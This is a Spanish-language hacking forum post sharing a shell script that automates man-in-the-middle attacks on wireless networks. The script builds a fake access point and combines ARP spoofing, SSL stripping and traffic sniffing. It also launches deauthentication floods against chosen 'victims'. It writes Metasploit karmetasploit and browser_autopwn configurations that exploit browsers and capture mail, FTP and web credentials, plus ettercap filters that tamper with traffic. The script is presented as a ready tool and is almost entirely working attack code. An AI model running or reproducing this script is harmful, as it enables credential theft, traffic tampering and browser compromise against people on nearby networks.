elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking (Moderador: toxeek)
| | |-+  Script MITM + Fake AP + karmetasploit
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Script MITM + Fake AP + karmetasploit  (Leído 2,855 veces)
aqqle

Desconectado Desconectado

Mensajes: 16


Ver Perfil
Script MITM + Fake AP + karmetasploit
« en: 30 Junio 2013, 04:21 am »

. _ ; _ _ . _ ; _ _ . _ ; . _ . . ; .

Script MITM + FAKE AP en español claro...

REEDITADO, EL SCRIPT ACTUALIZADO CON KARMETASPLOIT MAS ABAJO
« Última modificación: 3 Julio 2013, 10:38 am por aqqle » En línea

aqqle

Desconectado Desconectado

Mensajes: 16


Ver Perfil
Re: Script MITM + Fake AP
« Respuesta #1 en: 1 Julio 2013, 20:17 pm »

Scrip actualizado, con karmetasploit y browser_autopwn

ACTUALIZADO DIA 03/07/2013

Código:
#!/bin/sh
quit="no"
menu_aqqle () {
clear
echo "------------------------------------------------"
echo "     AQQLE  /     AQQLE /    AQQLE /     AQQLE/"
echo "AQQLE  /     AQQLE /    AQQLE /     AQQLE/"
echo "    / AQQLE     /AQQLE/      /AQQLE    / AQQLE"
echo "------------------------------------------------"
echo ""
echo "(vhujk jcuglc phgkqcx)-c"
echo ""
echo ""
sleep 1
echo "Menú de opciones MITM"
echo "================================================"
echo "------------------------------------------------"
echo "*   Iniciar ataque MITM"
echo "*   Crear AP falso + MITM"
echo "*   Otros..."
echo "------------------------------------------------"
echo "*   Salir"
echo "------------------------------------------------"
echo ""
echo "Escoje acción"
eleccion=$(zenity --list --column "Opciones:" "Buscar víctima" "Iniciar ataque MITM" "Crear AP falso + MITM" "Otros..." "Salir" --text "Escoje acción:" --title="Menú .:MITM:. por aqqle" --height=290 --width=270)
if [ "$eleccion" = "Iniciar ataque MITM" ]; then
inic_mitm;
elif [ "$eleccion" = "Crear AP falso + MITM" ]; then
inic_ap;
elif [ "$eleccion" = "Otros..." ]; then
otros_a;
elif [ "$eleccion" = "Salir" ]; then
salida_x;
quit="yes";
else
exit 0
fi
}
inic_ap () {
clear
echo "------------------------------------------------"
echo "Iniciar falso punto de acceso..."
echo "------------------------------------------------"
sleep 1
echo ""
echo "Indica el nombre que tendrá el punto de acceso:"
echo "------------------------------------------------"
nombreap=$(zenity --entry \
--title=".:FALSO AP:." \
--text="Indica el nombre que tendrá el FALSO AP: (ESSID)" \
)
echo ""
echo "Indica el canal a utilizar: (ej: 9)"
echo "------------------------------------------------"
echo ""
canalap=$(zenity --entry \
--title=".:FALSO AP:." \
--text="Indica el canal a utilizar: (ej: 9 )" \
)
echo "Deshabilitando interface..."
echo ""
sudo ifconfig $interface down
echo "¿Deseas cambiar tu mac?"
echo "OPCIONES: (SI) (NO)"
echo "------------------------------------------------"
echo ""
if zenity --question --title=".:FALSO AP:." --text="¿Deseas cambiar tu mac?"; then
echo "Cambiando mac de $interface"
echo "------------------------------------------------"
echo ""
sudo macchanger -a $interface
nuevamac=$(sudo macchanger -s $interface | grep 'Permanent MAC:' | cut --characters=16-32)
echo "Tu antigua mac: $mimac"
echo "Tu nueva mac: $nuevamac"
echo "------------------------------------------------"
echo ""
sleep 3
else
echo ""
fi
echo "Habilitando interface..."
echo "Configurando $interface en modo monitor..."
echo ""
sudo airmon-ng start $interface
sleep 1
sudo ifconfig $interface up
sleep 1
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
echo ""
echo "Indica la interface activada en modo monitor:"
echo "Ej: mon0"
echo "------------------------------------------------"
iwconfig
echo "------------------------------------------------"
interfacemon=$(zenity --entry \
--title=".:FALSO AP:." \
--text="Indica la interface activada en modo monitor" \
)
echo "$interfacemon" > int.txt
echo ""
echo "Iniciando falso punto de acceso..."
xterm -e sudo bash -c "airbase-ng -e $nombreap -c $canalap -P $interfacemon; read;" &
sleep 3
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
echo ""
sleep 1
echo "Creando interface virtual... (at0)"
ifconfig at0 up
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
echo ""
echo "Configurando at0 con isc-dhcp-server"
ifconfig at0 192.168.2.129 netmask 255.255.255.128
route add -net 192.168.2.128 netmask 255.255.255.128 gw 192.168.2.129
sudo echo "INTERFACES=\"at0\"" > /etc/default/isc-dhcp-server
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
echo ""
echo "Iniciando isc-dhcp-server"
sudo service isc-dhcp-server stop
sudo service bind9 stop
sleep 3
sudo service isc-dhcp-server start
sudo service bind9 start
sleep 3
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
echo ""
echo "Indica la interface con la que se conectará a "
echo "internet:"
echo "Ej: eth0"
echo "------------------------------------------------"
iwconfig
echo "------------------------------------------------"
interfaceint=$(zenity --entry \
--title=".:FALSO AP:." \
--text="Indica la interface con la que se conectará a internet" \
)
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
echo ""
echo "Configurando iptables"
sudo iptables -F && sudo iptables -t nat -F && sudo iptables --delete-chain && sudo iptables -t nat --delete-chain && sudo iptables -t nat -A POSTROUTING --out-interface $interfaceint -j MASQUERADE && sudo iptables -A FORWARD --in-interface at0 -j ACCEPT
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
echo ""
echo "Configurando ip_forward"
sudo echo 1 > /proc/sys/net/ipv4/ip_forward
echo "--------------------------------------------> OK"
echo ""
echo ""
sleep 1
echo "CONFIGURACIÓN FINALIZADA"
echo ""
sleep 1
echo "¿Que desea hacer?"
echo "------------------------------------------------"
sleep 1
que_hago;
}
que_hago () {
sleep 2
clear
echo "------------------------------------------------"
echo "     AQQLE  /     AQQLE /    AQQLE /     AQQLE/"
echo "AQQLE  /     AQQLE /    AQQLE /     AQQLE/"
echo "    / AQQLE     /AQQLE/      /AQQLE    / AQQLE"
echo "------------------------------------------------"
quehago=$(zenity --list --column "Opciones:" "Iniciar Wireshark" "Iniciar Sslstrip" "Iniciar Ettercap" "Iniciar Driftnet" "Iniciar Urlsnarf" "Iniciar webspy" "Otros" "Salir a menú principal" --text "Escoje acción:" --title=".:FALSO AP:." --text="¿Que desea hacer?" --height=350 --width=270)
if [ "$quehago" = "Iniciar Wireshark" ]; then
echo "Iniciando Wireshark..."
xterm -e wireshark &
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
sleep 2
que_hago;
elif  [ "$quehago" = "Iniciar webspy" ]; then
echo ""
echo "Indica una víctima..."
busc_victima;
victweb=$(zenity --entry \
--title=".:WEBSPY:." \
--text="Indica una víctima...")
sleep 1
echo ""
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
echo ""
echo "Iniciando webspy..."
xterm -hold -e sudo webspy -i mon0 $victweb | firefox &
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
sleep 2
que_hago;
elif  [ "$quehago" = "Iniciar Ettercap" ]; then
echo "Iniciando Ettercap..."
xterm -hold -e sudo ettercap -T -q -i at0 &
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
sleep 2
que_hago;
elif [ "$quehago" = "Iniciar Sslstrip" ]; then
echo "Iniciando Sslstrip..."
xterm -hold -e sslstrip -a -k -f &
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
sleep 2
que_hago;
elif [ "$quehago" = "Iniciar Driftnet" ]; then
echo "Iniciando Driftnet..."
xterm -hold -e driftnet -i at0 &
sleep 2
que_hago;
elif [ "$quehago" = "Iniciar Urlsnarf" ]; then
echo "Iniciando Urlsnarf..."
xterm -hold -e urlsnarf -i at0 &
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
sleep 2
que_hago;
elif [ "$quehago" = "Otros" ]; then
echo ""
echo "Abriendo menú"
sleep 1
otros_a;
que_hago;
elif [ "$quehago" = "Salir a menú principal" ]; then
echo ""
echo "Deshabilitando $interfacemon"
sleep 1
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
sudo airmon-ng stop $interfacemon
rm int.txt
sleep 1
sudo ifconfig $interface up
sudo ifconfig at0 down
else
exit 0
fi
}
configuracion_todo () {
clear
echo "------------------------------------------------"
echo "Configurar equipo para el ataque MITM"
echo "------------------------------------------------"
sleep 1
echo "Verificando los paquetes necesarios..."
echo "------------------------------------------------"
echo "xterm"
verificacion1=$(aptitude show xterm | grep Estado | awk '{print $2}')
if [ "$verificacion1" = "instalado" ]; then
echo "xterm ya está instalado"
else
echo "xterm no está instalado, INSTALANDO..."
sleep 1
sudo apt-get --force-yes install xterm
fi
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
sleep 1
echo "wireshark"
verificacion2=$(aptitude show wireshark | grep Estado | awk '{print $2}')
if [ "$verificacion2" = "instalado" ]; then
echo "wireshark ya está instalado"
else
echo "wireshark no está instalado, INSTALANDO..."
sleep 1
xterm -e sudo apt-get --force-yes install wireshark
fi
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
sleep 1
echo "dhcp3-server"
verificacion3=$(aptitude show dhcp3-server | grep Estado | awk '{print $2}')
if [ "$verificacion3" = "instalado" ]; then
echo "dhcp3-server ya está instalado"
else
echo "dhcp3-server no está instalado, INSTALANDO..."
sleep 1
xterm -e sudo apt-get --force-yes install dhcp3-server
fi
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
sleep 1
echo "bind9"
verificacion3a=$(aptitude show bind9 | grep Estado | awk '{print $2}')
if [ "$verificacion3a" = "instalado" ]; then
echo "bind9 ya está instalado"
else
echo "bind9 no está instalado, INSTALANDO..."
sleep 1
xterm -e sudo apt-get --force-yes install bind9
fi
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
sleep 1
echo "sslstrip"
verificacion4=$(aptitude show sslstrip | grep Estado | awk '{print $2}')
if [ "$verificacion4" = "instalado" ]; then
echo "sslstrip ya está instalado"
else
echo "sslstrip no está instalado, INSTALANDO..."
sleep 1
xterm -e sudo apt-get --force-yes install sslstrip
fi
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
sleep 1
echo "airbase-ng"
verificacion5=$(dpkg --get-selections | grep -w aircrack-ng | grep -w install | awk '{print $2}')
if [ "$verificacion5" = "install" ]; then
echo "airbase-ng ya está instalado"
else
echo "airbase-ng no está instalado, INSTALANDO..."
sleep 1
xterm -e sudo apt-get --force-yes install aircrack-ng
fi
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
sleep 1
echo "ettercap"
verificacion6=$(dpkg --get-selections | grep -w ettercap-common | grep -w install | awk '{print $2}')
if [ "$verificacion6" = "install" ]; then
echo "ettercap ya está instalado"
else
echo "ettercap no está instalado, INSTALANDO..."
sleep 1
xterm -e sudo apt-get --force-yes install ettercap
fi
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
sleep 1
echo "dsniff"
verificacion7=$(aptitude show dsniff | grep Estado | awk '{print $2}')
if [ "$verificacion7" = "instalado" ]; then
echo "dsniff ya está instalado"
else
echo "dsniff no está instalado, INSTALANDO..."
sleep 1
xterm -e sudo apt-get --force-yes install dsniff
fi
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
sleep 1
echo "driftnet"
verificacion8=$(aptitude show driftnet | grep Estado | awk '{print $2}')
if [ "$verificacion8" = "instalado" ]; then
echo "driftnet ya está instalado"
else
echo "driftnet no está instalado, INSTALANDO..."
sleep 1
xterm -e sudo apt-get --force-yes install driftnet
fi
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
sleep 1
echo "webspy"
verificacion9=$(aptitude show driftnet | grep Estado | awk '{print $2}')
if [ "$verificacion9" = "instalado" ]; then
echo "webspy ya está instalado"
else
echo "webspy no está instalado, INSTALANDO..."
sleep 1
xterm -e sudo apt-get --force-yes install driftnet
fi
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
sleep 1
echo "macchanger"
verificacion10=$(aptitude show macchanger | grep Estado | awk '{print $2}')
if [ "$verificacion10" = "instalado" ]; then
echo "macchanger ya está instalado"
else
echo "macchanger no está instalado, INSTALANDO..."
sleep 1
xterm -e sudo apt-get --force-yes install macchanger
fi
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
sleep 1
echo "isc-dhcp-server"
verificacion11=$(aptitude show isc-dhcp-server | grep Estado | awk '{print $2}')
if [ "$verificacion11" = "instalado" ]; then
echo "isc-dhcp-server ya está instalado"
else
echo "isc-dhcp-server no está instalado, INSTALANDO..."
sleep 1
xterm -e sudo apt-get --force-yes install isc-dhcp-server
fi
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
echo ""
echo "Verificación de paquetes finalizada..."
sleep 2
echo ""
echo ""
echo "------------------------------------------------"
echo "Creando archivo Karma.rc para Metasploit"
echo "------------------------------------------------"
sleep 1
echo "db_connect karma.db" > karma.rc
echo "use auxiliary/server/browser_autopwn" >> karma.rc
echo "setg AUTOPWN_HOST 192.168.2.129" >> karma.rc
echo "setg AUTOPWN_PORT 55550" >> karma.rc
echo "setg AUTOPWN_URI /ads" >> karma.rc
echo "set LHOST 192.168.2.129" >> karma.rc
echo "set LPORT 45000" >> karma.rc
echo "set SRVPORT 55550" >> karma.rc
echo "set URIPATH /ads" >> karma.rc
echo "run" >> karma.rc
echo "use auxiliary/server/capture/pop3" >> karma.rc
echo "set SRVPORT 110" >> karma.rc
echo "set SSL false" >> karma.rc
echo "run" >> karma.rc
echo "use auxiliary/server/capture/pop3" >> karma.rc
echo "set SRVPORT 995" >> karma.rc
echo "set SSL true" >> karma.rc
echo "run" >> karma.rc
echo "use auxiliary/server/capture/ftp" >> karma.rc
echo "run" >> karma.rc
echo "use auxiliary/server/capture/imap" >> karma.rc
echo "set SSL false" >> karma.rc
echo "set SRVPORT 143" >> karma.rc
echo "run" >> karma.rc
echo "use auxiliary/server/capture/imap" >> karma.rc
echo "set SSL true" >> karma.rc
echo "set SRVPORT 993" >> karma.rc
echo "run" >> karma.rc
echo "use auxiliary/server/capture/smtp" >> karma.rc
echo "set SSL false" >> karma.rc
echo "set SRVPORT 25" >> karma.rc
echo "run" >> karma.rc
echo "use auxiliary/server/capture/smtp" >> karma.rc
echo "set SSL true" >> karma.rc
echo "set SRVPORT 465" >> karma.rc
echo "run" >> karma.rc
echo "use auxiliary/server/fakedns" >> karma.rc
echo "unset TARGETHOST" >> karma.rc
echo "set SRVPORT 5353" >> karma.rc
echo "run" >> karma.rc
echo "use auxiliary/server/fakedns" >> karma.rc
echo "unset TARGETHOST" >> karma.rc
echo "set SRVPORT 53" >> karma.rc
echo "run" >> karma.rc
echo "use auxiliary/server/capture/http" >> karma.rc
echo "set SRVPORT 80" >> karma.rc
echo "set SSL false" >> karma.rc
echo "run" >> karma.rc
echo "use auxiliary/server/capture/http" >> karma.rc
echo "set SRVPORT 8080" >> karma.rc
echo "set SSL false" >> karma.rc
echo "run" >> karma.rc
echo "use auxiliary/server/capture/http" >> karma.rc
echo "set SRVPORT 443" >> karma.rc
echo "set SSL true" >> karma.rc
echo "run" >> karma.rc
echo "use auxiliary/server/capture/http" >> karma.rc
echo "set SRVPORT 8443" >> karma.rc
echo "set SSL true" >> karma.rc
echo "run" >> karma.rc
echo ""
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
echo ""
echo "------------------------------------------------"
echo "Creando archivo br_autopwn.rc para Metasploit"
echo "------------------------------------------------"
echo "use auxiliary/server/browser_autopwn" > br_autopwn.rc
echo "set LHOST 192.168.2.129" >> br_autopwn.rc
echo "set SRVHOST 0.0.0.0" >> br_autopwn.rc
echo "set SRVPORT 80" >> br_autopwn.rc
echo "set URIPATH /" >> br_autopwn.rc
echo "exploit" >> br_autopwn.rc
sleep 1
echo ""
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
echo ""
echo "------------------------------------------------"
echo "Creando archivo de configuración para dhcp"
echo "ddns-update-style ad-hoc;" > dhcpd.conf
echo "default-lease-time 600;" >> dhcpd.conf
echo "max-lease-time 7200;" >> dhcpd.conf
echo "subnet 192.168.2.128 netmask 255.255.255.128 {" >> dhcpd.conf
echo "option subnet-mask 255.255.255.128;" >> dhcpd.conf
echo "option broadcast-address 192.168.2.255;" >> dhcpd.conf
echo "option routers 192.168.2.129;" >> dhcpd.conf
echo "option domain-name-servers 8.8.8.8;" >> dhcpd.conf
echo "range 192.168.2.130 192.168.2.140;" >> dhcpd.conf
echo "}" >> dhcpd.conf
sudo mv /etc/dhcp/dhcpd.conf /etc/dhcp/dhcpdoriginal.conf
sleep 1
sudo mv dhcpd.conf /etc/dhcp3/dhcpd.conf
sudo cp /etc/dhcp3/dhcpd.conf /etc/dhcp/dhcpd.conf
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
echo ""
echo ""
sleep 1
echo "------------------------------------------------"
echo "Creando los filtros para ettercap..."
echo "------------------------------------------------"
sleep 1
echo "if (ip.proto == TCP && tcp.dst == 1863) {" > mitmsg.filter
echo "if (search(DATA.data, \"MSG\")) {" >> mitmsg.filter
echo "replace(\"beso\", \"kaka\");" >> mitmsg.filter
echo "msg(\"Modificando paquete ;)\\n\");" >> mitmsg.filter
echo "   }" >> mitmsg.filter
echo "}" >> mitmsg.filter
echo "if (ip.proto == TCP && tcp.dst == 80) {" > mitm.filter
echo "if (search(DATA.data, \"Accept-Encoding\")) {" >> mitm.filter
echo "replace(\"Accept-Encoding\", \"Accept-Rubbish!\");" >> mitm.filter
echo "# note: replacement string is same length as original string" >> mitm.filter
echo "msg(\"zapped Accept-Encoding!\\n\");" >> mitm.filter
echo "   }" >> mitm.filter
echo "}" >> mitm.filter
echo "if (ip.proto == TCP && tcp.src == 80) {" >> mitm.filter
echo "replace(\"img src=\", \"img src=\\"imagenfalsa\\" \");" >> mitm.filter
echo "replace(\"IMG SRC=\", \"img src=\\"imagenfalsa\\" \");" >> mitm.filter
echo "msg(\"Filter Ran. \\n\");" >> mitm.filter
echo "}" >> mitm.filter
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
echo ""
sleep 1
echo ""
echo ""
echo "Configurando etter.conf"
xterm -e sudo sed -ie 's/#redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"/redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"/g' /etc/etter.conf &
xterm -e sudo sed -ie 's/#redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"/redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"/g' /etc/etter.conf &
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
sleep 1
echo "Activando ip_forward"
xterm -e echo "1" | sudo tee /proc/sys/net/ipv4/ip_forward
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
sleep 1
echo "Configurando iptables"
xterm -e iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000 &
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
sleep 2
echo "Indica tu interface de red:"
echo "Ej: wlan0, wlan1, eth1..."
echo ""
iwconfig
echo "------------------------------------------------"
interface=$(zenity --entry \
--title=".:MITM:." \
--text="Indica tu interface de red wifi: (ej: wlan0)")
sleep 1
echo ""
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
sleep 2
echo "Configurado" > aqqle.rc
}
busc_victima () {
clear
echo "------------------------------------------------"
echo "Buscar víctima..."
echo "------------------------------------------------"
sleep 1
echo ""
echo "Mostrando tu dirección ip:"
sleep 1
tuip=$(ifconfig $interface | grep 'Direc. inet:' | awk '{print $2}' | cut --characters=6-20)
ifconfig $interface | grep 'Direc. inet:' | awk '{print $2}' | cut --characters=6-20
sleep 1
echo "------------------------------------------------"
echo "Indica el rango a escanear (ej: 192.168.0.* )"
echo "------------------------------------------------"
echo "$tuip"
rango=$(zenity --entry \
--title=".:MITM:." \
--text="Rango a escanear por nmap:" \
)
sleep 1
echo "------------------------------------------------"
echo "Mostrando lista de usuarios conectados a la red"
echo "------------------------------------------------"
sleep 1
xterm -T "Lista de usuarios conectados a la red .:MITM:." -n "AQQLE .:MITM:." -hold -e nmap -sP $rango --system-dns &
sleep 3
}
inic_mitm () {
clear
echo "------------------------------------------------"
echo "Iniciar ataque MITM"
echo "------------------------------------------------"
sleep 1
echo ""
echo "Iniciando sslstrip"
xterm -hold -e sslstrip -a -k -f &
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
sleep 1
echo ""
echo "Iniciando arpspoof"
echo "Indica la ip de la puerta de enlace:"
echo "------------------------------------------------"
penlaces=$(zenity --entry \
--title="Iniciando arpspoof .:MITM:." \
--text="Indica la ip de la puerta de enlace: ej: 192.168.0.1" \
)
sleep 1
echo "------------------------------------------------"
echo "Indica la ip de la víctima:"
echo "------------------------------------------------"
victima=$(zenity --entry \
--title="Iniciando arpspoof .:MITM:." \
--text="Indica la ip de la víctima" \
)
sleep 1
xterm -hold -e arpspoof -i $interface -t $victima $penlaces &
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
sleep 3
echo ""
echo "Iniciando ettercap"
xterm -hold -e sudo ettercap -T -q -i $interface &
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
sleep 1
echo ""
echo "Iniciando driftnet"
sleep 10
xterm -hold -e driftnet -i $interface &
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
echo ""
echo "Iniciando urlsnarf"
sleep 1
xterm -hold -e urlsnarf -i $interface &
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
sleep 2
}
otros_a () {
clear
echo "------------------------------------------------"
echo "     AQQLE  /     AQQLE /    AQQLE /     AQQLE/"
echo "AQQLE  /     AQQLE /    AQQLE /     AQQLE/"
echo "    / AQQLE     /AQQLE/      /AQQLE    / AQQLE"
echo "------------------------------------------------"
echo ""
echo "Otros..."
echo "------------------------------------------------"
sleep 1
echo "BUSCAR..."
echo "------------------------------------------------"
echo "*   Buscar víctima"
echo ""
sleep 1
echo "ATAQUE DOS"
echo "------------------------------------------------"
echo "*   Desautentificar a cliente en concreto"
echo "*   Desautentificar a todos los clientes"
echo ""
sleep 1
echo "LOS SIGUIENTES REQUIEREN ATAQUE MITM O FALSO AP"
echo "------------------------------------------------"
echo "*   Cambiar las imagenes entrantes a la víctima"
echo "*   Cambiar las conversaciones de msn salientes"
echo "*   Iniciar KarmetaSploit (con falso AP)"
echo "*   Iniciar browser_autopwn (con falso AP)"
echo "------------------------------------------------"
echo "*   Atrás"
echo "------------------------------------------------"
echo ""
echo "Escoje acción"
otrooo=$(zenity --list --column "Opciones:" "Buscar víctima" "Ataque DOS" "Cambiar imagenes entrantes" "Cambiar conversaciones salientes" "Iniciar KarmetaSploit (con falso AP)" "Iniciar browser_autopwn (con falso AP)" "Atrás" --text "Escoje acción:" --title="Menú .:MITM:. por aqqle" --height=380 --width=280)
if [ "$otrooo" = "Cambiar imagenes entrantes" ]; then
camb_imagen;
elif [ "$otrooo" = "Ataque DOS" ]; then
ataque_dos;
elif [ "$otrooo" = "Buscar víctima" ]; then
busc_victima;
elif [ "$otrooo" = "Cambiar conversaciones salientes" ]; then
camb_msn;
elif [ "$otrooo" = "Iniciar KarmetaSploit (con falso AP)" ]; then
apfalsa_karma;
elif [ "$otrooo" = "Iniciar browser_autopwn (con falso AP)" ]; then
apfalsa_autopwn;
elif [ "$otrooo" = "Atrás" ]; then
echo ""
else
exit 0
fi
}
ataque_dos () {
clear
compr=$(cat int.txt)
echo "------------------------------------------------"
echo "ATAQUE DOS"
echo "------------------------------------------------"
echo "*   Desautentificar a cliente en concreto"
echo "*   Desautentificar a todos los clientes"
echo "*   Atrás"
echo ""
echo "Escoja opción:"
ataquedos=$(zenity --list --column "Opciones:" "Desautentificar a cliente en concreto" "Desautentificar a todos los clientes" "Atrás" --text "Escoje acción:" --title="Menú .:MITM:. por aqqle" --height=380 --width=280)
if [ "$ataquedos" = "Desautentificar a cliente en concreto" ]; then
echo ""
echo "------------------------------------------------"
if [ "$compr" != "$interfacemon" ]; then
echo ""
sudo ifconfig $interface down
echo "¿Deseas cambiar tu mac?"
echo "OPCIONES: (SI) (NO)"
echo "------------------------------------------------"
echo ""
if zenity --question --title=".:FALSO AP:." --text="¿Deseas cambiar tu mac?"; then
echo "Cambiando mac de $interface"
echo "------------------------------------------------"
echo ""
sudo macchanger -a $interface
nuevamac=$(sudo macchanger -s $interface | grep 'Permanent MAC:' | cut --characters=16-32)
echo "Tu antigua mac: $mimac"
echo "Tu nueva mac: $nuevamac"
echo "------------------------------------------------"
echo ""
sleep 3
else
echo ""
fi
echo "Habilitando interface..."
echo "Configurando $interface en modo monitor..."
echo ""
sudo airmon-ng start $interface
sleep 1
sudo ifconfig $interface up
sleep 1
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
echo ""
echo "Indica la interface activada en modo monitor:"
echo "Ej: mon0"
echo "------------------------------------------------"
iwconfig
echo "------------------------------------------------"
interfacemon=$(zenity --entry \
--title=".:FALSO AP:." \
--text="Indica la interface activada en modo monitor" \
)
echo "$interfacemon" > int.txt
echo ""
else
echo ""
fi
echo "Indica la dirección mac de la víctima así como"
echo "la mac del punto de acceso a atacar"
echo ""
echo "Abriendo airodump-ng"
echo "------------------------------------------------"
xterm -e sudo airodump-ng $interfacemon &
echo ""
macvictima=$(zenity --entry \
--title=".:DOS:." \
--text="Indica la dirección mac de la víctima:" \
)
macap=$(zenity --entry \
--title=".:DOS:." \
--text="Indica la dirección mac del punto de acceso:" \
)
echo ""
echo "Lanzando ataque de desautentificación"
echo "------------------------------------------------"
xterm -e sudo aireplay-ng -0 0 -a $macap -c $macvictima $interfacemon
sleep 3
elif [ "$ataquedos" = "Desautentificar a todos los clientes" ]; then
echo ""
echo "------------------------------------------------"
if [ "$compr" != "$interfacemon" ]; then
echo ""
sudo ifconfig $interface down
echo "¿Deseas cambiar tu mac?"
echo "OPCIONES: (SI) (NO)"
echo "------------------------------------------------"
echo ""
if zenity --question --title=".:FALSO AP:." --text="¿Deseas cambiar tu mac?"; then
echo "Cambiando mac de $interface"
echo "------------------------------------------------"
echo ""
sudo macchanger -a $interface
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
echo ""
else
echo "*   ERROR!"
fi
nuevamac=$(sudo macchanger -s $interface | grep 'Permanent MAC:' | cut --characters=16-32)
echo "Tu antigua mac: $mimac"
echo "Tu nueva mac: $nuevamac"
echo "------------------------------------------------"
echo ""
sleep 3
else
echo ""
fi
echo "Habilitando interface..."
echo "Configurando $interface en modo monitor..."
echo ""
sudo airmon-ng start $interface
sleep 1
sudo ifconfig $interface up
sleep 1
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
echo ""
echo "Indica la interface activada en modo monitor:"
echo "Ej: mon0"
echo "------------------------------------------------"
iwconfig
echo "------------------------------------------------"
interfacemon=$(zenity --entry \
--title=".:FALSO AP:." \
--text="Indica la interface activada en modo monitor" \
)
echo "$interfacemon" > int.txt
echo ""
else
echo ""
fi
echo "Indica la mac del punto de acceso a atacar"
echo ""
echo "Abriendo airodump-ng"
echo "------------------------------------------------"
xterm -e sudo airodump-ng $interfacemon &
echo ""
macap=$(zenity --entry \
--title=".:DOS:." \
--text="Indica la dirección mac del punto de acceso:" \
)
echo ""
echo "Lanzando ataque de desautentificación"
echo "------------------------------------------------"
xterm -e sudo aireplay-ng -0 0 -a $macap -c $interfacemon
if [ "$?" = "0" ]; then
echo "--------------------------------------------> OK"
else
echo "*   ERROR!"
fi
sleep 3
else
echo ""
fi
}
camb_imagen () {
clear
echo "------------------------------------------------"
echo "Cambiar imagenes"
echo "------------------------------------------------"
sleep 1
echo ""
echo "Indica la dirección de la imagen falsa:"
echo "Ej: http://www.arcpujol.com/construccio.jpg"
echo "------------------------------------------------"
direccionfalsa=$(zenity --entry \
--title="Construyendo filtro .:MITM:." \
--text="Indica la dirección de la imagen falsa: Ej: http://www.pagweb/imagen.jpg" \
)
xterm -e sudo sed -ie 's/imagenfalsa/'$direccionfalsa'/g' mitm.filter &
sleep 1
echo "Creando el filtro..."
